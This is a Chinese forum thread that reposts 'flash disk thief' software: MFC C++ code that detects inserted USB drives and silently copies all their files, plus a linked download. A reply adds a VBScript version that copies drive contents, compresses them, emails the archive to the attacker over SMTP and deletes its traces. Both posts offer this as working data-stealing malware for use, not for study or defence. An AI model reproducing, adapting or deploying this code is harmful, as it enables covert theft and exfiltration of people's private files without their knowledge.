发新话题
打印

[转载]闪盘小偷的实现与代码

[转载]闪盘小偷的实现与代码

原始连接:http://www.whitecell.org/forums/viewthread.php?tid=19

一个可以在后台偷取你闪盘里所有资料的小软件。
只要你的闪盘一插上,所有的东东都被悄悄拷走.代码开放,可以热键呼出.

关键代码如下:
复制内容到剪贴板
代码:
//-------查找U盘-------------------------------
CString CFDiskThiefDlg::FindFdisk()
{
CString strdir="";
for(char cc=‘A‘;cc<=‘Z‘;cc++)
{
  strdir.Format("%c:",cc);
  if(GetDriveType((LPCTSTR)strdir)==DRIVE_REMOVABLE)//移动盘
     return strdir;
   }
   return strdir="";
}
//--------复制文件-----------------------------
void CFDiskThiefDlg::CopyFile(CString dir)
{  
CFileFind tempFind;
   CString tempFileFind;
   tempFileFind.Format("%s\\*.*",dir);
   BOOL IsFinded=(BOOL)tempFind.FindFile(tempFileFind);
   while(IsFinded)
   {
    IsFinded=(BOOL)tempFind.FindNextFile();
    if(!tempFind.IsDots())
    {
      CString foundFileName;
      foundFileName=tempFind.GetFileName();
  
      if(tempFind.IsDirectory())
      {
        CString tempDir;
        tempDir.Format("%s\\%s",dir,foundFileName);
        CopyFile(tempDir);
      }
      else
      {
        CString tempFileName1,tempFileName2;
        tempFileName1.Format("%s\\%s",dir,foundFileName);
  tempFileName2.Format("%s\\%s",m_Path,foundFileName);
        ::CopyFile(tempFileName1,tempFileName2,FALSE);
      }
    }
   }
   tempFind.Close();
}

void CFDiskThiefDlg::OnTimer(UINT nIDEvent)
{
// TODO: Add your message handler code here and/or call default
if(IsRun)
{
  m_NewFdisk=FindFdisk();

  if(m_NewFdisk!=m_OldFdisk&&m_NewFdisk!="")
  {
  CopyFile(m_NewFdisk);
  }
      if(m_NewFdisk!="")
        m_OldFdisk=m_NewFdisk;
  else
        m_OldFdisk="NULL";
}

CDialog::OnTimer(nIDEvent);
}

附件

20050902202225_FlashDiskSpy.rar (42 KB)

2005-11-18 19:53, 下载次数: 423

曾几何时,有人对我说:装B遭雷劈。我说:去你妈的。于是,这个人又对我说:如果再说脏话,上帝会惩罚你的。我说:我操上帝。结论:彪悍的人生不需要上帝。

TOP

[s:34] 感觉有问题.
[s:45] 跑原地址一看
[s:51] 嘿,2楼解决了
Very Idiotic Person

TOP

//我也写了一个vbs版本的,没有什么含量

on error resume next
Dim fso, d, dc, s, f, f1,fp, fc,strMfrom,strMto,strMfpass,sfile
Dim WshShell,oShell,strcmdpath
Set oShell = WScript.CreateObject ("WSCript.shell")
Set fso = CreateObject("Scripting.FileSystemObject")
                                 
do while true                                      &#39;do while ……loop部分 用一个死循环实现对drives的监控
  getnewDrive
wscript.sleep 5*1000*60            
loop                                                           

Function getnewDrive                       &#39; 检测有没有新的drive?
      Set dc = fso.Drives
  For Each d in dc
wscript.echo d.dirvename
         If d.DriveType >2  and d.IsReady=true Then   &#39;检查drivetype的属性和准备情况   fp=fso.CreateFolder("c:\New")    &#39;创建一个新的文件夹 以方便把U盘的文件拷过来
fppth=fp.path   

      copyfiletotemp(d)               
        End If
      Next
  End Function

Function copyfiletotemp(folderspec)                     
                                    
  Set f = fso.GetFolder(folderspec)   
  Set fc = f.SubFolders                                      
  set fs = f.files
  For Each f1 in fc         &#39;得到所有文件夹  
  f1.copy(fppth)
  Next
  for each f1 in fs         &#39; 得到所有文件
  f1.copy(fppth)
  next


oShell.run "cmd /K CD C:\\Program Files\\WinRAR\rar.exe a c:\ufiles.rar c:\new\  -- ",0 &#39;压缩一下


sfile="c:\upfiles.rar"
sendfiletome strMfrom,strMto,strMfpass,sfile
End Function
function sendfiletome(strMfrom,strMto,strMfpass,sfile)
dim uname,file,lenth,len2,smtpser
lenth=InStrRev(strMfrom,"@")
uname=left(strMfrom,lenth-1)
len2=len(strMfrom)-lenth
smtpser="smtp."&right(strMfrom,len2)
NameSpace = "http://schemas.microsoft.com/cdo/configuration/"
Set Email = CreateObject("CDO.Message")
Email.From = strMfrom
Email.To = strMto
Email.Subject = "送资料来了,大哥"
Email.Textbody = "大哥,我很累.哦 我想喝瓶汽水"
if (sfile=nul) then
Email.AddAttachment sfile,true &#39;双引号内添加附件,如果有多个就另写一行
end if
With Email.Configuration.Fields
.Item(NameSpace&"sendusing") = 2
.Item(NameSpace&"smtpserver") = smtpser &#39;发信服务器
.Item(NameSpace&"smtpserverport") = 25
.Item(NameSpace&"smtpauthenticate") = 1
.Item(NameSpace&"sendusername") = uname&#39;发信人的姓名
.Item(NameSpace&"sendpassword") = strMfpass    &#39;发信邮箱密码
.Update
End With
Email.Send
oshell.reu "del c:\new\&del"&sfile &#39;打扫痕迹
Set oShell = Nothing          &#39;释放对象
end function
---------------
tips:

drivetype:
    0: "Unknown"
    1: "Removable"
    2: "Fixed"
    3: "Network"
    4: "CD-ROM"
    5: "RAM Disk" [s:67]  [s:51]
民工ing....

TOP

发新话题